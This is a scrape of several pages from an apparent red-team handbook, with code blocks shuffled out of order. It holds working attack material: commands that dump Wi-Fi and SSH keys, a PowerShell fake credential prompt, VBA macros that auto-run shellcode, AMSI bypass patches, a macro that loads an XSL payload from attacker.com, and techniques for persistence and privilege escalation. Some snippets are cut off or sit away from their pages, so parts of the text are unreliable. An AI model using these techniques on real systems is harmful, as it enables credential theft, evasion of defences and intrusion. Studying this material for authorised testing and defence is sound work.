query "HKCU\Software\SimonTatham\PuTTY\Sessions" reg query "HKCU\Software\OpenSSH\Agent\Keys" Copy cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on Copy # POC from greg.foss[at]owasp.org # @enigma0x3 # Adapted from http://blog.logrhythm.com/security/do-you-trust-your-computer/ # https://enigma0x3.wordpress.com/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/ function Invoke-Prompt { [CmdletBinding()] Param ( [Switch] $ProcCreateWait, [String] $MsgText = 'Lost contact with the Domain Controller.', [String] $IconType = 'Critical', [String] $Title = 'ERROR - 0xA801B720' ) Add-Type -AssemblyName Microsoft.VisualBasic Add-Type -assemblyname System.DirectoryServices.AccountManagement $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine) if($MsgText -and $($MsgText -ne '')){ $null = [Microsoft.VisualBasic.Interaction]::MsgBox($MsgText, "OKOnly,MsgBoxSetForeground,SystemModal,$IconType", $Title) } $c=[System.Security.Principal.WindowsIdentity]::GetCurrent().name $credential = $host.ui.PromptForCredential("Credentials Required", "Please enter your user name and password.", $c, "NetBiosUserName") if($credential){ while($DS.ValidateCredentials($c, $credential.GetNetworkCredential().password) -ne $True){ $credential = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$env:username","") } "[+] Prompted credentials: -> " + $c + ":" + $credential.GetNetworkCredential().password } else{ "[!] User closed credential prompt" } } --- # Persistence | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence.md) . [Scheduled Tasks](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/scheduled-tasks) [MS Office](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/ms-office) [SQL](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/sql) [Admin Level](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level) [User Level](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level) [PreviousEarly Bird Injection](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/early-bird-injection) [NextScheduled Tasks](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/scheduled-tasks) Last updated 5 years ago --- # Missing Services and Tasks | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/missing-services-and-tasks.md) . Services[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/missing-services-and-tasks#services) ----------------------------------------------------------------------------------------------------------------------------------------------------- There may be left overs on the system or unproperly installed packages that may lead to missing services. We can find these missing service binaries with this command: Copy autorunsc64.exe -a s | more We are looking for "File not found:" entries. If we have write access to the folder that holds the missing executable, we can copy our binary over and elevate our privileges. Copy icacls c:\folder copy c:\executable c:\folder\missing.exe Tasks[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/missing-services-and-tasks#tasks) ----------------------------------------------------------------------------------------------------------------------------------------------- The same applies for tasks, we can find this with: Copy autoruns64.exe -a t | more and repeat the procedure above with services. [PreviousInsecure Permissions](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions) [NextMisconfigured Registry Hives](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/misconfigured-registry-hives) Last updated 5 years ago * [Services](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/missing-services-and-tasks#services) * [Tasks](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/missing-services-and-tasks#tasks) --- # Scheduled Tasks | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/scheduled-tasks.md) . Scheduled tasks are used to execute or do a certain action at a set period of time. Scheduled tasks can be used for userland or elevated persistence. There is a lot of flexibility on how to configure and when to trigger the task, these can be checked issuing “schtasks.exe /?" An example of this is this one, where it will run everyday at 10:00 Copy schtasks /create /tn ”tenoclock" /tr C:\executable /sc daily /st 10:00 or when the user's session is idle for 10 minutes Copy schtasks /create /tn "NotEvil" /tr NotEvil /sc onidle /i 10 To execute as system, we can add the following flag: `/ru System` [PreviousPersistence](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence) [NextAT](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/scheduled-tasks/at) Last updated 5 years ago --- # Shellcode Execution | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/shellcode-execution.md) . This is a simple implementation of a shellcode execution which uses VirtualAlloc, CreateThread, and RtlMoveMemory to execute shellcode. Copy Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr Function MyMacro() Dim buf As Variant Dim addr As LongPtr Dim counter As Long Dim data As Long Dim res As Long buf = Array(shellcode array) addr = VirtualAlloc(0, UBound(buf), &H3000, &H40) For counter = LBound(buf) To UBound(buf) data = buf(counter) res = RtlMoveMemory(addr + counter, data, 1) Next counter res = CreateThread(0, 0, addr, 0, 0, 0) End Function Sub Document_Open() MyMacro End Sub Sub AutoOpen() MyMacr [PreviousACCDE](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/accde) [NextInfo Extraction](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/info-extraction) Last updated 5 years ago --- # Insecure Binary Path | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/insecure-binary-path.md) . Services may have insecure binary paths which may allow any user to modify the binpath of the service to point to any executable to run with elevated privileges. We will use accesschk to query for such services: Copy accesschk.exe -accepteula -wuvc "Authenticated Users" * If we get any write access like "RW", then we can change the binPath of the service to point to our malicious binary like so: Copy sc config service binPath= "c:\rto\lpe\implant\implantsrv.exe" You then need to stop and start the service, or wait for the service to restart itself Copy sc stop service sc start service [PreviousMisconfigured Registry Hives](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/misconfigured-registry-hives) [NextUnquoted Service Paths](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/unquoted-service-paths) Last updated 5 years ago --- # AlwaysInstallElevated | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/alwaysinstallelevated.md) . If this registry key is set, all MSI packages are ran with system privileges. We can query this with: Copy reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated If this is set to 1, then this settings is active. We can then execute our MSI implant file like this: Copy msiexec /quiet /qn /i c:\executable.msi [PreviousLocal Exploits](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/local-exploits) [NextHijacking Execution](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hijacking-execution) Last updated 5 years ago --- # Finding Sql Servers | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/finding-sql-servers.md) . Unauthenticated[](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/finding-sql-servers#unauthenticated) --------------------------------------------------------------------------------------------------------------------------------- To find SQL servers from an unauthenticated user, we can use SQLCMD: Copy sqlcmd -L We can do the same with metasploit Copy msf > use auxiliary/scanner/mssql/mssql_ping msf auxiliary(mssql_ping) > set RHOSTS Target_IP_or_CIDR_identifier msf auxiliary(mssql_ping) > run PowerUpSQL Copy >> import-module .\PowerUpSQL.psd1 >> Get-SQLInstanceScanUDP Other tools are * [OSQL](https://docs.microsoft.com/en-us/sql/tools/osql-utility?view=sql-server-2017) . * [SQLPing3](http://www.sqlsecurity.com/downloads) . * Nmap * Nessus Local User[](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/finding-sql-servers#local-user) ----------------------------------------------------------------------------------------------------------------------- As a local user SQL Server instances can be identified by checking system services and registry settings. Domain User[](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/finding-sql-servers#domain-user) ------------------------------------------------------------------------------------------------------------------------- SQL servers are automatically registered in AD with an associated service account. This is done to support Kerberos authentication. We can use SPN scanning like so: or just use powerupsql again Tools are: * [setspn.exe](https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx) . * [adfind.exe](http://www.joeware.net/freetools/tools/adfind/index.htm) . * [Get-Spn.psm1](https://github.com/nullbind/Powershellery/blob/master/Stable-ish/Get-SPN/Get-SPN.psm1) . [PreviousBasics](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/basics) [NextPrivilege Escalation](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/privilege-escalation) Last updated 5 years ago * [Unauthenticated](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/finding-sql-servers#unauthenticated) * [Local User](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/finding-sql-servers#local-user) * [Domain User](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/finding-sql-servers#domain-user) Copy >> Get-SQLInstanceLocal Copy >> setspn -T domain -Q MSSQLSvc/* Copy >> Get-SQLInstanceDomain --- # AMSI Bypasses | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/amsi-bypasses.md) . Patching[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/amsi-bypasses#patching) ------------------------------------------------------------------------------------------------------------------------------------------- When a process is created, amsi.dll is loaded and mapped into the virtual address space of the function. This means we can modify certain functions and patch them so that they function differently. In our case, AmsiScanBuffer is the function used to detect malicious content, meaning that we want to patch the AmsiScanBuffer function so it always returns AMSI\_RESULT\_CLEAN(not malicious). To do this, we need to find the AMSI\_RESULT\_CLEAN instructions in x86, this is mov EAX,0x80070057: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-MgJFHalnUcB0jqrngFR%252F-MgJIo7ngBkVd99F8TEc%252Fimage.png%3Falt%3Dmedia%26token%3Dca93636e-9552-4d63-b464-7a772bed7eca&width=768&dpr=3&quality=100&sign=744747fe&sv=2) The hex for this is 0xB8.0x57.0x00.0x07.0x80 The value 0x80070057 is an error code from Microsoft which stands for E\_INVALIDARG. AmsiScanBuffer() uses this to return when the parameters passed by the caller code are not valid. We can modify the AmsiScanBuffer() function in memory to always force it to return 0x80070057, which will return AMSI\_RESULT\_CLEAN as a result. To patch this, we can use this powershell snippet: Forcing it to return 0x80070057 is not the only way to do it too, we can also make it return zero with something like: `sub eax, eax | ret`. Reflection[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/amsi-bypasses#reflection) ----------------------------------------------------------------------------------------------------------------------------------------------- Reflection allows us to violate the rules of OOP and allow us to modify private variables which speaking, should not be accessed from outside their classes. This bypass uses reflection to set "amsiInitFailed" to true so that our AMSI result will return AMSI\_RESULT.AMSI\_RESULT\_NOT\_DETECTED; Which bypasses AMSI checking. We can see how this works in the following logic in “System.Management.Automation.AmsiUtils” : Our reflection bypass will look like this: 1. \[Ref\] abbreviates to \[System.Management.Automation.PSReference\]. 2. To get direct access to the dll, we add the ".Assembly" 3. We then call the GetType function which retrieves a handle to the internal class Utils. 4. With this handle, we can begin to fetch the amsiInitFailed field by calling the GetField function, we specify nonpublic and static because GetField requires this(needs binding flags.) 5. We then set that value so it can return: AMSI\_RESULT.AMSI\_RESULT\_NOT\_DETECTED; Force Error[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/amsi-bypasses#force-error) ------------------------------------------------------------------------------------------------------------------------------------------------- Reg Key[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/amsi-bypasses#reg-key) ----------------------------------------------------------------------------------------------------------------------------------------- There is a AMSI registry key, which if turned off should disable AMSI. Note that this requires the payload to be run twice 1. first run sets the registry key 2. second run executes the payload ### Resources[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/amsi-bypasses#resources) [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Fwww.mdsec.co.uk%2Fwp-content%2Fthemes%2Fmdsec%2Fimg%2Ffavicons%2Fandroid-icon-192x192.png&width=20&dpr=3&quality=100&sign=247aa3ae&sv=2)Exploring PowerShell AMSI and Logging Evasion - MDSecMDSec](https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/) [https://x64sec.sh/understanding-and-bypassing-amsi/x64sec.sh](https://x64sec.sh/understanding-and-bypassing-amsi/) [PreviousETW Bypasses](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/etw-bypasses) [NextMinimization](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization) Last updated 5 years ago * [Patching](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/amsi-bypasses#patching) * [Reflection](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/amsi-bypasses#reflection) * [Force Error](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/amsi-bypasses#force-error) * [Reg Key](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/amsi-bypasses#reg-key) * [Resources](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/amsi-bypasses#resources) Copy $Win32 = @" using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); } "@ Add-Type $Win32 $LoadLibrary = [Win32]::LoadLibrary("amsi.dll") $DllGetClassObjectAddress = [Win32]::GetProcAddress($LoadLibrary, "DllGetClassObject") $ASBAddress = [System.IntPtr]::New($DllGetClassObjectAddress.ToInt64() + [Int64](3248)) $oldProtect = 0 [Win32]::VirtualProtect($ASBAddress, [uint32]5, 0x40, [ref]$oldProtect) | Out-null $Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) [System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $ASBAddress, $Patch.Length) $newProtect = 0 [Win32]::VirtualProtect($ASBAddress, [uint32]5, $x, [ref]$newProtect) | Out-null Copy internal unsafe static AmsiUtils.AmsiNativeMethods.AMSI_RESULT ScanContent(string content, string sourceMetadata) { if (string.IsNullOrEmpty(sourceMetadata)) { sourceMetadata = string.Empty; } if (InternalTestHooks.UseDebugAmsiImplementation && content.IndexOf(“X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*”, StringComparison.Ordinal) >= 0)\ {\ return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_DETECTED;\ }\ if (AmsiUtils.amsiInitFailed)\ {\ return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;\ }\ …\ }\ \ Copy\ \ [Ref].Assembly.GetType(“System.Management.Automation.AmsiUtils”).GetField(‘amsiInitFailed’,’NonPublic,Static’).SetValue($null,$true)\ \ Copy\ \ $mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)[Ref].Assembly.GetType(“System.Management.Automation.AmsiUtils”).GetField(“amsiSession”,”NonPublic,Static”).SetValue($null, $null);[Ref].Assembly.GetType(“System.Management.Automation.AmsiUtils”).GetField(“amsiContext”,”NonPublic,Static”).SetValue($null, [IntPtr]$mem)\ \ Copy\ \ var shelly = new ActiveXObject('Wscript.Shell');\ var key = "HKCU\\Software\Microsoft\Windows Script\\Settings\\AmsiEnabled";\ \ try{\ var enabled = shelly.RegRead(key);\ if(enabled!=0){\ throw new error(1, '');\ }\ }catch(e){\ shelly.RegWrite(key, 0, "REG_DWORD");\ sh.Run("cscript -e:F414C262-6AC0-11CF-00AA00BBBB58} "+WscriptFullName,0,1);\ sh.RegWrite(key,1,"REG_DWORD");\ Wscript.Quit(1);\ } --- # Dechaining Macros | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/dechaining-macros.md) . Looking at the Parent/Child processes is a good indicator of malicious activity, for example MSWord spawning PowerShell is pretty suspicious. Here, we will show some techniques that can be used to evade these types of analysis. ### WMI[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/dechaining-macros#wmi) Copy Sub MyMacro() Arg = "cmd /k calc.exe" GetObject("winmgmts:").Get("Win32_Process").Create Arg, Null, Null, pid End Sub Copy Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2") Set objStartup = objWMIService.Get("Win32_ProcessStartup") Set objConfig = objStartup.SpawnInstance_ Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process") errReturn = objProcess.Create("cmd.exe /k calc.exe", Null, objConfig, intProcessID) This will make your process be spawned under "wmiprvse.exe." ### ShellBrowserWindow[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/dechaining-macros#shellbrowserwindow) Copy Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880") obj.Document.Application.ShellExecute "calc",Null,"C:\\Windows\\System32",Null,0 This will make your process spawn from under "explorer.exe" ### XMLDOM[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/dechaining-macros#xmldom) ### Scheduled Tasks[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/dechaining-macros#id-3e76) ### Registry Keys[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/dechaining-macros#registry-keys) We can modify the registry which can serve as persistence and a way of executing your code. WMI: Wscript: ### PPID Spoofing and Command Line Spoofing[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/dechaining-macros#e7b4) Basically we can spoof the parent by passing an arbitrary parent process name you want to use with the CreateProcessA function. We can also spoof the command line arguments by modifying the “CommandLine” in the RTL\_USER\_PROCESS\_PARAMETERS structure in the PEB. The implementation in VBA is here: [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=a76f452&sv=2)spoofing-office-macro/macro64.vba at master · christophetd/spoofing-office-macroGitHub](https://github.com/christophetd/spoofing-office-macro/blob/master/macro64.vba) ### Injecting Shellcode[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/dechaining-macros#injecting-shellcode) Injecting our shellcode to a remote process can make our payload live in another process, although this is not a parent-child evasion technique, we can make our payload live in a remote process. ### Template persistence[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/dechaining-macros#template-persistence) ### Outlook[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/dechaining-macros#outlook) [PreviousInfo Extraction](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/info-extraction) [NextField Abuse](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/field-abuse) Last updated 5 years ago * [WMI](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/dechaining-macros#wmi) * [ShellBrowserWindow](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/dechaining-macros#shellbrowserwindow) * [XMLDOM](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/dechaining-macros#xmldom) * [Scheduled Tasks](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/dechaining-macros#id-3e76) * [Registry Keys](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/dechaining-macros#registry-keys) * [PPID Spoofing and Command Line Spoofing](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/dechaining-macros#e7b4) * [Injecting Shellcode](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/dechaining-macros#injecting-shellcode) * [Template persistence](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/dechaining-macros#template-persistence) * [Outlook](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/dechaining-macros#outlook) Copy Set xml = CreateObject("Microsoft.XMLDOM") xml.async = False Set xsl = xml xsl.load(“http://attacker.com/payload.xsl”) xml.transformNode xsl Copy Set service = CreateObject("Schedule.Service") Call service.Connect Dim td: Set td = service.NewTask(0) td.RegistrationInfo.Author = "Microsoft Corporation" td.settings.StartWhenAvailable = True td.settings.Hidden = False Dim triggers: Set triggers = td.triggers Dim trigger: Set trigger = triggers.Create(1) Dim startTime: ts = DateAdd("s", 30, Now) startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2) trigger.StartBoundary = startTime trigger.ID = "TimeTriggerId" Dim Action: Set Action = td.Actions.Create(0) Action.Path = "C:\Windows\System32\notepad.exe" Call service.GetFolder("\").RegisterTaskDefinition("UpdateTask", td, 6, , , 3) Copy Set objRegistry = GetObject("winmgmts:\\.\root\default:StdRegProv") objRegistry.SetStringValue &H80000001, "Software\Microsoft\Windows\CurrentVersion\Run", "key1", "value1" Copy Set WshShell = CreateObject("WScript.Shell") WshShell.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\key2", "value2", "REG_SZ Copy Set objShell = CreateObject("Wscript.Shell") appDataLocation = objShell.ExpandEnvironmentStrings("%APPDATA%") Path = appDataLocation & "\Microsoft\Templates" Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.CreateTextFile(Path & "\Normal.dotm", True) objFile.Write payload objFile.Close Copy Set obj = GetObject("new:0006F03A-0000-0000-C000-000000000046") obj.CreateObject("WScript.Shell").Run ("calc.exe") --- # Insecure Permissions | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions.md) . [Missing Services and Tasks](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/missing-services-and-tasks) [Misconfigured Registry Hives](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/misconfigured-registry-hives) [Insecure Binary Path](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/insecure-binary-path) [Unquoted Service Paths](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/unquoted-service-paths) [PreviousDLL Hijacking](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hijacking-execution/dll-hijacking) [NextMissing Services and Tasks](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/missing-services-and-tasks) Last updated 5 years ago --- # MS Office | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office.md) . [Macros](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros) [Field Abuse](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/field-abuse) [DDE](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/dde) [PreviousStaging/Stagers](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/staging-stagers) [NextMacros](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros) Last updated 5 years ago --- # WMIC commands | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands/wmic-commands.md) . Local[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands/wmic-commands#local) ------------------------------------------------------------------------------------------------------------------- Gather domain DC and other information Copy wmic NTDOMAIN Get DomainControllerAddress,DomainName,Roles List all Users Copy wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname Get all groups Copy wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname Get members of the domain admin group Copy wmic path win32_groupuser where (groupcomponent="win32_group.name='domain admins',domain="DOMAIN'") list all computers Copy wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname Computer information Copy wmic computersystem list full Available volumes Copy wmic volume list brief find AV Copy wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName, productState, pathToSignedProductExe find updates find files with password in the name get local use raccounts WMI classes or information can also be accessed via Get-WmiObject in PowerShell. Some useful queries: AV products VM detection find MSI not from MS Logged on users VMWARE detection AD[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands/wmic-commands#a-d) -------------------------------------------------------------------------------------------------------------- We can enumerate remotely by adding `/NODE:""` enumerating under other user context can be done adding `/USER:"\" /PASSWORD:""` ex: enumerate groups: user accounts Group user memberships Domain info LDAP [Previous.NET AD Enum commands](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands/.net-ad-enum-commands) [NextWMI queries from c++](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands/wmic-commands/wmi-queries-from-c++) Last updated 5 years ago * [Local](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands/wmic-commands#local) * [AD](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands/wmic-commands#a-d) Copy wmic qfe list brief Copy wmic DATAFILE where "drive='C:' AND Name like '%password%'" GET Name,readable,size /VALUE Copy wmic useraccount list Copy Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct Copy [Bool](Get-WmiObject -Class Win32_ComputerSystem -Filter "NumberOfLogicalProcessors < 2 OR TotalPhysicalMemory < 2147483648") Copy Get-WmiObject -Query "select * from Win32_Product" | ?{$_.Vendor - notmatch 'Microsoft’} Copy Get-WmiObject -Query "select * from Win32_LoggedOnUser" | ?{$_.LogonType -notmatch '(Service|Network|System)’} Copy $VMAdapter=Get-WmiObject Win32_NetworkAdapter -Filter 'Manufacturer LIKE "%VMware%" OR Name LIKE "%VMware%"' $VMBios=Get-WmiObject Win32_BIOS -Filter 'SerialNumber LIKE "%VMware%"' $VMToolsRunning=Get-WmiObject Win32_Process -Filter 'Name="vmtoolsd.exe"' [Bool]($VMAdapter -or $VMBios -or $VMToolsRunning)Gather domain DC and information Copy wmic /NODE:"DOMAIN" /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * Copy Get-CimInstance –ClassName Win32_Group -Filter "DOMAIN = ''" Copy Get-WMIObject –Class Win32_UserAccount -Filter 